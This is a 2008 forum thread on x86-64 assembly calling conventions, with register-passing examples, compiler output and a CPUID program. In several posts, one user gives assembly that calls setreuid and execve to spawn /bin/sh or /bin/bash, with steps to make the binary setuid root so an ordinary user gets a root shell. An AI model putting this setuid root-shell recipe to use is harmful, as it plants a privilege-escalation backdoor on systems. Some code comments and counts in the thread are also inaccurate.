What's the official calling convention for 64bit functions passing 7+ arguments?

1veedo · 06-28-2008

In x86 mode you could pass as many arguments as you wanted to a function just by pushing the stack. Eg

Code:

	movl	$/%, (%esp) #first argument
	movl	$/%, 4(%esp) #second argument
	movl	$/%, 8(%esp) #third argument
	#...
	call	printf

In 64bit, according to AMD's specification (which is the same for Intel, Intel's just a jackass) you use the rdi, rsi, rdx...%r9 registers to pass arguments, which is limited to 6. Eg

Code:

	movq	$/%, %rdi #first argument
	movq	$/%, %rsi #second argument
	movq	$/%, %rdx #third argument
	#...
	movq	$/%, %r9 #6th argument
	movq	$0, %rax #for some reason required for some calls, not an argument.  As far as I can tell it doesn't do anything but waste a CPU cycle.
	call	printf

On 32bit processors you don't have nearly as many registers so pushing arguments to the stack is pretty much necessary to do anything. I'm sure using registers directly is much more efficient but nowhere can I find the official conventions for extending past 6 arguments. Through trial and error I have discovered that you can pass a fairly large number of arguments through the following convention, which deviates from x86_64's official calling convention:

Code:

.section	.data
format:	.string "%i,%i,%i,%i,%i,%i,%i,%i,%i,%i,%i,%i,%i"
.text
	.global main

	.type	main, @function
main:
	pushq	%rbp
	movq	%rsp, %rbp
	subq	$56, %rsp	#56 increases by 8bytes to extend the stack, eg to pass 15 arguments the stack would have to grow to 64bytes.

				#It would be more efficient to pass by 32bits, or even 8bits in these cases, leaving the upper 32bits as 0's but this just illustrates the concept incase it were necessary to deal with 64bit long data.

	mov	$format, %rdi
	mov	$1, %rsi
	mov	$2, %rdx
	mov	$3, %rcx
	mov	$4, %r8d
	mov	$5, %r9d
	movq	$6, (%rsp)
	movq	$7, 8(%rsp)
	movq	$8, 16(%rsp)
	movq	$9, 24(%rsp)
	movq	$10, 32(%rsp)
	movq	$11, 40(%rsp)
	movq	$12, 48(%rsp)
	movq	$13, 56(%rsp)
	movl	$0, %eax
	call	printf
	movl	$0, %eax
	leave
	ret

prints "1,2,3,4,5,6,7,8,9,10,11,12,13" (14 args)

Granted this might be specific to printf(); you can create your own calling conventions for your own functions but printf() I'm sure is extremely standardized so most external function calls should adhere similarly.

This kind of information is hard to come by. Like I remember doing opengl in 32bit assembly and had to hunt around in glut's source code to find the hex values for mnemonic arguments (like passing GLUT_RGBA to glutInitDisplayMode etc).

kevmartin · 06-28-2008

I think you'll be lucky to get a response on this here.

Try ubuntuforums or a hard-core programming forum maybe.

As for assembly programming - I am curious ... I am guessing you had to study it as part of you programming studies. If so, have you ever found it useful in real life?

1veedo · 06-29-2008

Yeah I kind of figured that but I don't belong to any programming forums anymore. It's hard to find much on assembly, especially 64bit. Most tutorials only go so far and don't cover very much. For example I could not figure out where command line arguments were passed in 64bit (where in 32bit it's right on the stack...where it should be and always has been lol). And it didn't follow the convention I talked about above, either. Turns out rsi is a pointer to a completely different stack set up identically to the main stack you used to get in 32bit. I pretty much had to write a program that would output the value of every registry upon startup to figure this out.

Quote:

Originally Posted by kevmartin

As for assembly programming - I am curious ... I am guessing you had to study it as part of you programming studies. If so, have you ever found it useful in real life?

I taught myself. Rumour is we do some assembly in my comp sci program. (kiddie version, like you see a lot of around the Internet, not true assembly)

I don't see assembly being very useful for many things but it is fun. I depends on what you consider useful though (it would be more useful for system programming than it would for a largescale gui). I see many people saying that assembly helps you with higher level languages because it teaches you the fundamentals of a computer.

It's also useful for things like this:

Code:

.section .data
	.global main

	.type	main, @function
main:
	jmp	getShell

gotShell:
	movq	(%rsp), %rdi		#shell is on the top of our stack
	subq	%rax, %rax
	movl	%eax, 7(%edi)
	movl	%edi, 8(%edi)
	movl	%eax, 12(%edi)

	leal	8(%edi), %esi
	leal	12(%edi), %edx
	call	execve			#something like execve("/bin/sh", *"/bin/sh", *NULL);

getShell:
	call	gotShell
shell:	.ascii	"/bin/shAAAAABBBB"

Call it shell1 and run this:

Code:

as -g shell1.s -o shell1.o && g++ she1.o -o shell1

And as root (change permissions on file):

Code:

chown root ./shell1 && chmod 4777 shell1

Now try executing it as a regular user

. This only works if you have a 64bit CPU. Also permissions can be 6777 and 7777 etc.

edit -- Here's another one.

Code:

.section .data
	.global main

	.type	main, @function
main:
	jmp	getShell

gotShell:
	movq	(%rsp), %rdi		#shell is on the top of our stack
	subq	%rax, %rax
	movl	%eax, 9(%rdi)
	movl	%edi, 10(%rdi)
	movl	%eax, 14(%rdi)

	leal	10(%edi), %esi
	leal	14(%edi), %edx
	call	execve			#something like execve("/bin/sh", *"/bin/sh", *NULL);

getShell:
	call	gotShell
shell:	.ascii	"/bin/bashAAAAABBBB"

kevmartin · 06-29-2008

The assembly code they tried to force down my throat at Uni was programming in straight binary. Theory being as you said, it would help you understand concepts of computing. I found this to be ludicrous as I already had no problem with concepts, and had a major showdown with the staff about it (I got the impression some of the staff agreed with me but were in no position to say so openly). I ended up changing course structure on my degree to avoid it as the only form of protest I had available.

1veedo · 06-29-2008

Yeah a lot of people don't like assembly.

Btw the second program doesn't work I don't really know why lol I tried to fix it and reedit my post. It launches bash you just dont get a root terminal.

1veedo · 06-29-2008

There apparently it needs to be told to be root.

Code:

.section .data
	.global main

	.type	main, @function
main:
	jmp	getShell

gotShell:
	subq	%rsi, %rsi
	subq	%rdi, %rdi
	call	setreuid

	movq	(%rsp), %rdi
	subq	%rax, %rax
	movl	%eax, 9(%rdi)
	movl	%edi, 10(%rdi)
	movl	%eax, 14(%rdi)

	leal	10(%edi), %esi
	leal	14(%edi), %edx
	call	execve			#something like execve("/bin/bash", *"/bin/bash", *NULL);

getShell:
	call	gotShell
shell:	.ascii	"/bin/bashAAAAABBBB"

I don't know why they changed the way you pass values to functions. It goes:

%rdi, %rsi, %rdx, %rcx, %r8, %r9, then the stack.

I can see how this is huge speed improvement though because this is something that happens a lot.

Anyway I'm not going to say that any language is better than the next one. I do python too, as well as C++ and Java. I'm thinking I could probably find a good job knowing assembly though.

yaaarrrgg · 06-30-2008

Hmmm ... I haven't messed with 64 bit assembly at all, only 32 bit.

Two compilers may use different passing conventions AFAIK... I thought gcc just pushed the variables on the stack, in reverse order. But this is defined by the compilers.

All I would know would be to compile a skeleton of a program in c, and look at the generated assembly. With gcc it's the -S flag. Even better would be to compile and look at the assembly for the functions being called. Or look at the compiler's documentation, that was used to compile the libs you want to use...

for example, in 32 bit:

Code:

// c code
int test2(int i1, int i2, int i3, int i4, int i5, int i6, int i7, int i8 ){
    return i1 + i2 + i3 + i4 + i5 + i6 + i7 + i8 ;
}

// compiles to assembly 
_test2:
        pushl   %ebp
        movl    %esp, %ebp
        movl    12(%ebp), %eax
        addl    8(%ebp), %eax
        addl    16(%ebp), %eax
        addl    20(%ebp), %eax
        addl    24(%ebp), %eax
        addl    28(%ebp), %eax
        addl    32(%ebp), %eax
        addl    36(%ebp), %eax
        popl    %ebp
        ret

Unfortunately I don't have a 64 bit machine to test how it compiles otherwise ....

1veedo · 06-30-2008

Quote:

Originally Posted by yaaarrrgg

Hmmm ... I haven't messed with 64 bit assembly at all, only 32 bit.

Two compilers may use different passing conventions AFAIK... I thought gcc just pushed the variables on the stack, in reverse order. But this is defined by the compilers.

All I would know would be to compile a skeleton of a program in c, and look at the generated assembly. With gcc it's the -S flag. Even better would be to compile and look at the assembly for the functions being called. Or look at the compiler's documentation, that was used to compile the libs you want to use...

for example, in 32 bit:

Code:

// c code
int test2(int i1, int i2, int i3, int i4, int i5, int i6, int i7, int i8 ){
    return i1 + i2 + i3 + i4 + i5 + i6 + i7 + i8 ;
}

// compiles to assembly 
_test2:
        pushl   %ebp
        movl    %esp, %ebp
        movl    12(%ebp), %eax
        addl    8(%ebp), %eax
        addl    16(%ebp), %eax
        addl    20(%ebp), %eax
        addl    24(%ebp), %eax
        addl    28(%ebp), %eax
        addl    32(%ebp), %eax
        addl    36(%ebp), %eax
        popl    %ebp
        ret

Unfortunately I don't have a 64 bit machine to test how it compiles otherwise ....

Yeah I compile C/C++ every now and then but never thought to compile a C function.

Your c compiles neater than mine. Even when I was using 32bit compiled C had a lot of baggage. What distro are you using? I get (with gcc version 4.2.3, ubuntu),

Code:

	.file	"test.c"
	.text
.globl test2
	.type	test2, @function
test2:
.LFB2:
	pushq	%rbp
.LCFI0:
	movq	%rsp, %rbp
.LCFI1:
	movl	%edi, -4(%rbp)
	movl	%esi, -8(%rbp)
	movl	%edx, -12(%rbp)
	movl	%ecx, -16(%rbp)
	movl	%r8d, -20(%rbp)
	movl	%r9d, -24(%rbp)
	movl	-8(%rbp), %eax
	addl	-4(%rbp), %eax
	addl	-12(%rbp), %eax
	addl	-16(%rbp), %eax
	addl	-20(%rbp), %eax
	addl	-24(%rbp), %eax
	addl	16(%rbp), %eax
	addl	24(%rbp), %eax
	leave
	ret
.LFE2:
	.size	test2, .-test2
	.section	.eh_frame,"a",@progbits
.Lframe1:
	.long	.LECIE1-.LSCIE1
.LSCIE1:
	.long	0x0
	.byte	0x1
	.string	"zR"
	.uleb128 0x1
	.sleb128 -8
	.byte	0x10
	.uleb128 0x1
	.byte	0x3
	.byte	0xc
	.uleb128 0x7
	.uleb128 0x8
	.byte	0x90
	.uleb128 0x1
	.align 8
.LECIE1:
.LSFDE1:
	.long	.LEFDE1-.LASFDE1
.LASFDE1:
	.long	.LASFDE1-.Lframe1
	.long	.LFB2
	.long	.LFE2-.LFB2
	.uleb128 0x0
	.byte	0x4
	.long	.LCFI0-.LFB2
	.byte	0xe
	.uleb128 0x10
	.byte	0x86
	.uleb128 0x2
	.byte	0x4
	.long	.LCFI1-.LCFI0
	.byte	0xd
	.uleb128 0x6
	.align 8
.LEFDE1:
	.ident	"GCC: (GNU) 4.2.3 (Ubuntu 4.2.3-2ubuntu7)"
	.section	.note.GNU-stack,"",@progbits

Mine is following the rdi, rsi convention from above (well edi, esi but these are int types. Recompiled as long they're passed using 64bit registers; I tried it just to make sure cause that would make no sense otherwise). It looks like the 8th argument is added directly, the 7th is put into eax first, and the rest are stored in rbp then added latter...

Code:

	movl	%edi, -4(%rbp)
	movl	%esi, -8(%rbp)
	movl	%edx, -12(%rbp)
	movl	%ecx, -16(%rbp)
	movl	%r8d, -20(%rbp)
	movl	%r9d, -24(%rbp)
	movl	-8(%rbp), %eax
	addl	-4(%rbp), %eax
	addl	-12(%rbp), %eax
	addl	-16(%rbp), %eax
	addl	-20(%rbp), %eax
	addl	-24(%rbp), %eax
	addl	16(%rbp), %eax
	addl	24(%rbp), %eax

Yours actually does it in fewer clock cycles then mine. I guess it has to have a couple extra lines if the first arguments are passed in registers, but it could probably be done better (compiler design is something completely different though). Just add everything directly to esi and move esi to eax (for the return value).

Quote:

Two compilers may use different passing conventions AFAIK... I thought gcc just pushed the variables on the stack, in reverse order. But this is defined by the compilers.

Calling conventions have to be universal because all of this stuff gets compiled down to machine level and interacts together (for something like an OS and all it's parts, libc etc). If not things would break.

I've been reading http://www.x86-64.org/documentation/abi-0.98.pdf more and have found a couple lines that make me think that you put arguments first onto the 6 registers then the stack.

Quote:

The Linux AMD64 kernel uses internally the same calling conventions as user-
level applications (see section 3.2.3 for details). User-level applications that like
to call system calls should use the functions from the C library. The interface
between the C library and the Linux kernel is the same as for the user-level appli-
cations with the following differences:

1. User-level applications use as integer registers for passing the sequence
%rdi, %rsi, %rdx, %rcx, %r8 and %r9. The kernel interface uses %rdi,
%rsi, %rdx, %r10, %r8 and %r9.
2. A system-call is done via the syscall instruction. The kernel destroys
registers %rcx and %r11.
3. The number of the syscall has to be passed in register %rax.
4. System-calls are limited to six arguments, no argument is passed directly on
the stack.

Also this paper has a specific chapter dedicated entirely to calling conventions. Including making specific rules as to what registers get preserved (page 21). It also lays out standards for your return value. Technically you can write your assembly however you want but having a standard like this makes it easier to interact with other parts of the system (other programs or shared libraries etc). When you get right down to it you can do whatever you want if you're the only one calling your functions, but it's still important if you want to be calling external functions (which is where I ran into trouble).

Anyway, sense I've been spamming assembly here's a little CPUID program I wrote (I also decided to add individual programs to the wikipedia article). You could probably midify this easily to run on 32bit sense cpuid deals directly with traditional, 32bit registers.

Code:

.section	.data
s0:		.string	"Largest Standard Function Number Supported: %i\n"
s1:		.string "Vendor ID: %s\n"
s3:		.string "Processor serial number: %.4hX-%.4hX-%.4hX-%.4hX-%.4hX-%.4hX\n"
s4:		.string "Processor Brand String: %s\n"
s5:		.string	"L2 Cache: %iMB\n"
.text
	.global main

	.type	main, @function
main:
	pushq	%rbp
	movq	%rsp, %rbp
	
	subl	%eax, %eax			#%eax=0 (Vender ID)
	cpuid
	
	subq	$8, %rsp
	movl	%ebx, (%rsp)
	movl	%edx, 4(%rsp)
	movl	%ecx, 8(%rsp)
	movl	%eax, %esi
	movl	$s0, %edi
	subl	%eax, %eax
	call	printf

	movq	%rsp, %rsi
	movq	$s1, %rdi
	subl	%eax, %eax
	call	printf
	
	movl	$1, %eax			#%eax=1/3 (Serial ID)
	cpuid

	movl	%eax, (%rsp)
	movq	2(%rsp), %rbx
	movw	%bx, (%rsp)
	movw	%ax, 2(%rsp)
	
	movl	$3, %eax
	cpuid
	
	movl	%edx, 4(%rsp)
	movq	6(%rsp), %rax
	movw	%ax, 4(%rsp)
	movw	%dx, 6(%rsp)
	movl	%ecx, 8(%rsp)
	
	movl	$s3, %edi
	movw	(%rsp), %si
	movw	2(%rsp), %dx
	movw	4(%rsp), %cx
	movw	6(%rsp), %r8w
	movw	8(%rsp), %r8w
	movw	10(%rsp), %r9w
	movw	%r9w, (%rsp)
	subl	%eax, %eax
	call	printf
	
	subq	$36, %rsp
	movl	$0x80000002, %eax		#%eax=0x80000002/3/4 (Brand String)
	cpuid
	
	movl	%eax, (%rsp)
	movl	%ebx, 4(%rsp)
	movl	%ecx, 8(%rsp)
	movl	%edx, 12(%rsp)
	addq	$16, %rsp
	
	movl	$0x80000003, %eax
	cpuid
	
	movl	%eax, (%rsp)
	movl	%ebx, 4(%rsp)
	movl	%ecx, 8(%rsp)
	movl	%edx, 12(%rsp)
	addq	$16, %rsp
	
	movl	$0x80000004, %eax
	cpuid
	
	movl	%eax, (%rsp)
	movl	%ebx, 4(%rsp)
	movl	%ecx, 8(%rsp)
	movl	%edx, 12(%rsp)
	subq	$32, %rsp
		
	movl	$s4, %edi
	movq	%rsp, %rsi
	subl	%eax, %eax
	call	printf

	movl	$0x80000006, %eax		#%eax=0x80000006 (L2 Cache)
	cpuid
	
	subl	%edx, %edx
	movq	%rcx, (%rsp)			#most significant part of %(rsp) corrupts the next move
	movl	2(%rsp), %eax
	movl	$1024, %ecx
	divl	%ecx

	movl	$s5, %edi
	movl	%eax, %esi
	subl	%eax, %eax
	call	printf

	subl    %eax, %eax
	movq	%rbp, %rsp
	popq	%rbp
	ret

Btw how much assembly do you do, yaaarrrgg? There is very little information for gas assembly, and literally nothing for 64bit (except AMD's documentation). The best and really only resource I've found is this: Programming from the Ground Up Book - Summary [Savannah] (32bit). Most everything else I figured out through trial / error and compiling C/C++ programs. I think I'm starting to get the hang of it though. I remember maybe 6 months ago I tried to write a CPUID program (in 32bit) and could not figure out how, at all, to even get your vender ID to print. All the info for CPUID is documented by Intel and AMD: http://download.intel.com/design/pro...s/24161832.pdf . A lot of the information you'd have to have lookup tables to use, which I figure is what other CPUID programs do.

yaaarrrgg · 07-01-2008

Quote:

Originally Posted by 1veedo

Yeah I compile C/C++ every now and then but never thought to compile a C function.

Your c compiles neater than mine. Even when I was using 32bit compiled C had a lot of baggage. What distro are you using? I get (with gcc version 4.2.3, ubuntu)

I compiled it under cygwin gcc 3.4.4, with no optimization... just copied out the function. Although the call code would have been more useful... here's the complete thing if you are curious...

Code:

// c code
#include <stdio.h>

long test2(long i1, long i2, long i3, long i4, long i5, long i6, long i7, long i8 ){
    return i1 + i2 + i3 + i4 + i5 + i6 + i7 + i8 ;
}

int main() {
    long ret = test2( 1, 2, 3, 4, 5, 6, 7, 8  );
    exit(ret);
}


// compiled with gcc test.c -S

	.file	"test.c"
	.text
.globl _test2
	.def	_test2;	.scl	2;	.type	32;	.endef
_test2:
	pushl	%ebp
	movl	%esp, %ebp
	movl	12(%ebp), %eax
	addl	8(%ebp), %eax
	addl	16(%ebp), %eax
	addl	20(%ebp), %eax
	addl	24(%ebp), %eax
	addl	28(%ebp), %eax
	addl	32(%ebp), %eax
	addl	36(%ebp), %eax
	popl	%ebp
	ret
	.def	___main;	.scl	2;	.type	32;	.endef
.globl _main
	.def	_main;	.scl	2;	.type	32;	.endef
_main:
	pushl	%ebp
	movl	%esp, %ebp
	subl	$40, %esp
	andl	$-16, %esp
	movl	$0, %eax
	addl	$15, %eax
	addl	$15, %eax
	shrl	$4, %eax
	sall	$4, %eax
	movl	%eax, -8(%ebp)
	movl	-8(%ebp), %eax
	call	__alloca
	call	___main
	movl	$8, 28(%esp)
	movl	$7, 24(%esp)
	movl	$6, 20(%esp)
	movl	$5, 16(%esp)
	movl	$4, 12(%esp)
	movl	$3, 8(%esp)
	movl	$2, 4(%esp)
	movl	$1, (%esp)
	call	_test2
	movl	%eax, -4(%ebp)
	movl	-4(%ebp), %eax
	movl	%eax, (%esp)
	call	_exit
	.def	_exit;	.scl	3;	.type	32;	.endef

Although, I'm not sure why it's reordering how the parameters are accessed ... address offsets are 12, 8, 16, .... I suppose x + y + z translates to move y into eax, then add x. Then add z. Weird ...

Quote:

Originally Posted by 1veedo

Yours actually does it in fewer clock cycles then mine. I guess it has to have a couple extra lines if the first arguments are passed in registers, but it could probably be done better (compiler design is something completely different though). Just add everything directly to esi and move esi to eax (for the return value).

Hmm.. that's interesting. It certainly looks less optimized, although intel chips are pretty weird ... More cycles might actually be faster, depending on how the instructions are ordered, and how cache(s) are hit or missed. Some instructions are reordered, or processed in parallel. I suppose overall design is to cache at least 6 parameters in the registers, rather than popping them off the stack.

Quote:

Originally Posted by 1veedo

Calling conventions have to be universal because all of this stuff gets compiled down to machine level and interacts together (for something like an OS and all it's parts, libc etc). If not things would break.

Hmm ... that's probably true. I don't know which compilers are compatible with which, honestly. I typically just use gcc, so it's not something I've tested a lot.

I always thought that a lib had to be compiled with the same type of compiler, or same major version number or that it would break.

Quote:

Originally Posted by 1veedo

Btw how much assembly do you do, yaaarrrgg? There is very little information for gas assembly, and literally nothing for 64bit (except AMD's documentation). The best and really only resource I've found is this: Programming from the Ground Up Book - Summary [Savannah] (32bit). Most everything else I figured out through trial / error and compiling C/C++ programs. I think I'm starting to get the hang of it though. I remember maybe 6 months ago I tried to write a CPUID program (in 32bit) and could not figure out how, at all, to even get your vender ID to print. All the info for CPUID is documented by Intel and AMD: http://download.intel.com/design/pro...s/24161832.pdf . A lot of the information you'd have to have lookup tables to use, which I figure is what other CPUID programs do.

Thanks for the links ...

On Gas, I found a good book at my library (My library has a better tech section than Barnes and Noble):
Wrox::Professional Assembly Language:Book Information and Code Download

This book is also availble online (but only 32 bit)
Art of Assembly Language Programming and HLA by Randall Hyde

I've just studied assembly out of curiosity ... self taught as well. For one project, I wanted to writing a new language (since most the existing ones have little things that seem silly me) but the more I though about it, it just ended up turning into something like Lisp, with tab-indention instead of parentheses.

Rasczak · 07-01-2008

Quote:

Originally Posted by kevmartin

I think you'll be lucky to get a response on this here.

Try ubuntuforums or a hard-core programming forum maybe.

As for assembly programming - I am curious ... I am guessing you had to study it as part of you programming studies. If so, have you ever found it useful in real life?

I think that's the one the kids at my son's school use to program their robots.

kevmartin · 07-01-2008

Quote:

Originally Posted by Rasczak

I think that's the one the kids at my son's school use to program their robots.

Sounds about right. It's not that it's impossible to find a way to use it, just that it seemed to me a specialty subject and shouldn't be a required component in a general university course on computing. It seemed a big time-waster and there was only limited time available in the course, so including it meant leaving out other far more useful things. Mostly the course was flexible, with only relatively few required components, so it made little sense to me to make that one particular thing mandatory. I don't think many people would find it to be something they need in their professional life. Programming (using Java) was already a major mandatory component, which I had no complaint about at all.

06-28-2008	#1 (permalink)
1veedo Eligible for a custom title Join Date: Jun 2007 Posts: 247	What's the official calling convention for 64bit functions passing 7+ arguments? In x86 mode you could pass as many arguments as you wanted to a function just by pushing the stack. Eg Code: movl $/%, (%esp) #first argument movl $/%, 4(%esp) #second argument movl $/%, 8(%esp) #third argument #... call printf In 64bit, according to AMD's specification (which is the same for Intel, Intel's just a jackass) you use the rdi, rsi, rdx...%r9 registers to pass arguments, which is limited to 6. Eg Code: movq $/%, %rdi #first argument movq $/%, %rsi #second argument movq $/%, %rdx #third argument #... movq $/%, %r9 #6th argument movq $0, %rax #for some reason required for some calls, not an argument. As far as I can tell it doesn't do anything but waste a CPU cycle. call printf On 32bit processors you don't have nearly as many registers so pushing arguments to the stack is pretty much necessary to do anything. I'm sure using registers directly is much more efficient but nowhere can I find the official conventions for extending past 6 arguments. Through trial and error I have discovered that you can pass a fairly large number of arguments through the following convention, which deviates from x86_64's official calling convention: Code: .section .data format: .string "%i,%i,%i,%i,%i,%i,%i,%i,%i,%i,%i,%i,%i" .text .global main .type main, @function main: pushq %rbp movq %rsp, %rbp subq $56, %rsp #56 increases by 8bytes to extend the stack, eg to pass 15 arguments the stack would have to grow to 64bytes. #It would be more efficient to pass by 32bits, or even 8bits in these cases, leaving the upper 32bits as 0's but this just illustrates the concept incase it were necessary to deal with 64bit long data. mov $format, %rdi mov $1, %rsi mov $2, %rdx mov $3, %rcx mov $4, %r8d mov $5, %r9d movq $6, (%rsp) movq $7, 8(%rsp) movq $8, 16(%rsp) movq $9, 24(%rsp) movq $10, 32(%rsp) movq $11, 40(%rsp) movq $12, 48(%rsp) movq $13, 56(%rsp) movl $0, %eax call printf movl $0, %eax leave ret prints "1,2,3,4,5,6,7,8,9,10,11,12,13" (14 args) Granted this might be specific to printf(); you can create your own calling conventions for your own functions but printf() I'm sure is extremely standardized so most external function calls should adhere similarly. This kind of information is hard to come by. Like I remember doing opengl in 32bit assembly and had to hunt around in glut's source code to find the hex values for mnemonic arguments (like passing GLUT_RGBA to glutInitDisplayMode etc). Last edited by 1veedo : 06-28-2008 at 10:39 AM. Reason: title was truncated

06-28-2008	#2 (permalink)
kevmartin Reliable Music I Got Left To Join Date: May 2007 Posts: 1,012	Re: What's the official calling convention for 64bit functions passing 7+ arguments? I think you'll be lucky to get a response on this here. Try ubuntuforums or a hard-core programming forum maybe. As for assembly programming - I am curious ... I am guessing you had to study it as part of you programming studies. If so, have you ever found it useful in real life?
	___________________________ Life is what happens to you while you're busy making other plans. - John Lennon

06-29-2008	#4 (permalink)
kevmartin Reliable Music I Got Left To Join Date: May 2007 Posts: 1,012	Re: What's the official calling convention for 64bit functions passing 7+ arguments? The assembly code they tried to force down my throat at Uni was programming in straight binary. Theory being as you said, it would help you understand concepts of computing. I found this to be ludicrous as I already had no problem with concepts, and had a major showdown with the staff about it (I got the impression some of the staff agreed with me but were in no position to say so openly). I ended up changing course structure on my degree to avoid it as the only form of protest I had available.
	___________________________ Life is what happens to you while you're busy making other plans. - John Lennon

06-29-2008	#5 (permalink)
1veedo Eligible for a custom title Join Date: Jun 2007 Posts: 247	Re: What's the official calling convention for 64bit functions passing 7+ arguments? Yeah a lot of people don't like assembly. Btw the second program doesn't work I don't really know why lol I tried to fix it and reedit my post. It launches bash you just dont get a root terminal.

06-29-2008	#6 (permalink)
1veedo Eligible for a custom title Join Date: Jun 2007 Posts: 247	Re: What's the official calling convention for 64bit functions passing 7+ arguments? There apparently it needs to be told to be root. Code: .section .data .global main .type main, @function main: jmp getShell gotShell: subq %rsi, %rsi subq %rdi, %rdi call setreuid movq (%rsp), %rdi subq %rax, %rax movl %eax, 9(%rdi) movl %edi, 10(%rdi) movl %eax, 14(%rdi) leal 10(%edi), %esi leal 14(%edi), %edx call execve #something like execve("/bin/bash", "/bin/bash", NULL); getShell: call gotShell shell: .ascii "/bin/bashAAAAABBBB" I don't know why they changed the way you pass values to functions. It goes: %rdi, %rsi, %rdx, %rcx, %r8, %r9, then the stack. I can see how this is huge speed improvement though because this is something that happens a lot. Anyway I'm not going to say that any language is better than the next one. I do python too, as well as C++ and Java. I'm thinking I could probably find a good job knowing assembly though. Last edited by 1veedo : 06-29-2008 at 06:15 PM.

06-30-2008	#7 (permalink)
yaaarrrgg Super Moderator Join Date: May 2007 Location: Indiana, USA Posts: 1,000	Re: What's the official calling convention for 64bit functions passing 7+ arguments? Hmmm ... I haven't messed with 64 bit assembly at all, only 32 bit. Two compilers may use different passing conventions AFAIK... I thought gcc just pushed the variables on the stack, in reverse order. But this is defined by the compilers. All I would know would be to compile a skeleton of a program in c, and look at the generated assembly. With gcc it's the -S flag. Even better would be to compile and look at the assembly for the functions being called. Or look at the compiler's documentation, that was used to compile the libs you want to use... for example, in 32 bit: Code: // c code int test2(int i1, int i2, int i3, int i4, int i5, int i6, int i7, int i8 ){ return i1 + i2 + i3 + i4 + i5 + i6 + i7 + i8 ; } // compiles to assembly _test2: pushl %ebp movl %esp, %ebp movl 12(%ebp), %eax addl 8(%ebp), %eax addl 16(%ebp), %eax addl 20(%ebp), %eax addl 24(%ebp), %eax addl 28(%ebp), %eax addl 32(%ebp), %eax addl 36(%ebp), %eax popl %ebp ret Unfortunately I don't have a 64 bit machine to test how it compiles otherwise ....